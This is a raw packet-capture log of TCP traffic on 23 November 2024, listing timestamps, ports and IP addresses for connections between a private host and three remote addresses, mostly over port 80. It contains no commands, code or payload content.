Nov 23, 2024 19:52:52.308079958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.308192968 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.308379889 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.308484077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.308501959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.308589935 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.309154987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.309180975 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.309217930 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.309217930 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.310031891 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.310132980 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.310152054 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.310247898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.310919046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.310997009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.311028004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.311247110 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.311845064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.311913013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.311985970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.312854052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.312941074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.313297987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.313386917 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.313687086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.313734055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.313812017 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.313982964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.314590931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.314634085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.314642906 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.314697981 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.315574884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.315623999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.315639973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.315702915 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.316422939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.316452980 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.316493034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.316493034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.317563057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.317603111 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.317619085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.317651987 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.318314075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.318408012 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.318427086 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.318458080 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.319159031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.319247007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.319283009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.319283009 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.320049047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.320159912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.320238113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.320238113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.320976973 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.321033955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.321145058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.321306944 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.321898937 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.321958065 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.322103024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.322247982 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.322796106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.322861910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.322901011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.323101044 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.323717117 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.323803902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.323838949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.323940992 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.324621916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.324709892 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.324724913 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.324930906 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.325522900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.325637102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.325654030 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.325711966 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.326472044 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.326529980 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.326550961 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.326775074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.327366114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.327451944 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.327481031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.327545881 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.328301907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.328360081 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.328409910 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.328471899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.329216003 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.329327106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.329396963 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.329513073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.330090046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.330192089 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.330233097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.330233097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.331027985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.331039906 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.331096888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.376240969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.376302004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.376377106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.376377106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.376425028 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.376573086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.376601934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.377058983 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.377377987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.377443075 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.377484083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.377685070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.378298044 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.378375053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.378375053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.378575087 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.379246950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.379340887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.379430056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.380182028 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.383728027 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.437304020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.437426090 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.437433958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.437671900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.437705994 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.437812090 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.437824965 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.437891006 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.438728094 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.438785076 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.438827038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.438980103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.439652920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.439752102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.439846992 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.440565109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.440653086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.440749884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.441498995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.441574097 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.441659927 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.442408085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.442419052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.442518950 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.449405909 CET	443	49876	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.450711012 CET	49876	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.450721979 CET	443	49876	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.450795889 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.451082945 CET	443	49876	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.451705933 CET	49876	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.451778889 CET	443	49876	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.451978922 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.452006102 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.453144073 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.453223944 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.453670025 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.454008102 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.537857056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.538471937 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.539112091 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.539139986 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.539639950 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.539644003 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.542273045 CET	49876	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.580779076 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.581636906 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.581650972 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.582695961 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.582791090 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.583131075 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.583188057 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.620846033 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.620857000 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.631266117 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.631586075 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.631594896 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.632648945 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.632707119 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.633142948 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.633209944 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.666918039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.711174965 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.711196899 CET	443	49878	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.762015104 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.762814045 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.762835979 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.766855955 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.766863108 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.771821976 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.772414923 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.772454023 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.772983074 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.772991896 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.780080080 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.785068035 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.785096884 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.785545111 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.785550117 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.791292906 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.807912111 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.807945967 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.808911085 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.808917046 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.820746899 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.820878029 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.820889950 CET	443	49879	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.836308956 CET	49878	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.986855984 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.986936092 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.987025976 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.987250090 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.987271070 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.987282991 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.987287998 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.990775108 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.990803957 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.990914106 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.991099119 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.991116047 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.998368025 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.998420954 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.998447895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.998483896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.998538017 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.998562098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.998601913 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.999485016 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.999522924 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.999588013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.000472069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.000545025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.000556946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.001158953 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.001326084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.001456976 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.001511097 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.002223969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.002338886 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.002413034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.003122091 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.003191948 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.003245115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.003299952 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.004060030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.004182100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.004250050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.004930973 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.004995108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.005027056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.005065918 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.005857944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.005959988 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.006015062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.006766081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.006905079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.006969929 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.007693052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.007752895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.007756948 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.007805109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.008611917 CET	49879	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:53.008615971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.008673906 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.008703947 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.009021997 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.009517908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.009588003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.009614944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.010413885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.010488987 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.010538101 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.010725021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.011370897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.011439085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.011446953 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.011514902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.012269020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.012321949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.012389898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.035706997 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:53.036037922 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:53.036062002 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:53.036921024 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:53.037033081 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:53.037322044 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:53.037380934 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:53.126420021 CET	49880	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:53.126436949 CET	443	49880	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:53.127806902 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.127931118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.128024101 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.128202915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.128308058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.128361940 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.128379107 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.128657103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.129189968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.129312992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.129373074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.130098104 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.130147934 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.130207062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.131028891 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.131098986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.131119967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.131416082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.131911993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.131958008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.132042885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.132143021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.132850885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.132896900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.132899046 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.133161068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.133744955 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.133825064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.133838892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.133908033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.134673119 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.134741068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.134757996 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.135456085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.135593891 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.135662079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.135971069 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.136512995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.136605978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.136775970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.137399912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.137506962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.137558937 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.138329983 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.138423920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.138482094 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.139276028 CET	80	49831	185.215.113.206	192.168.2.6
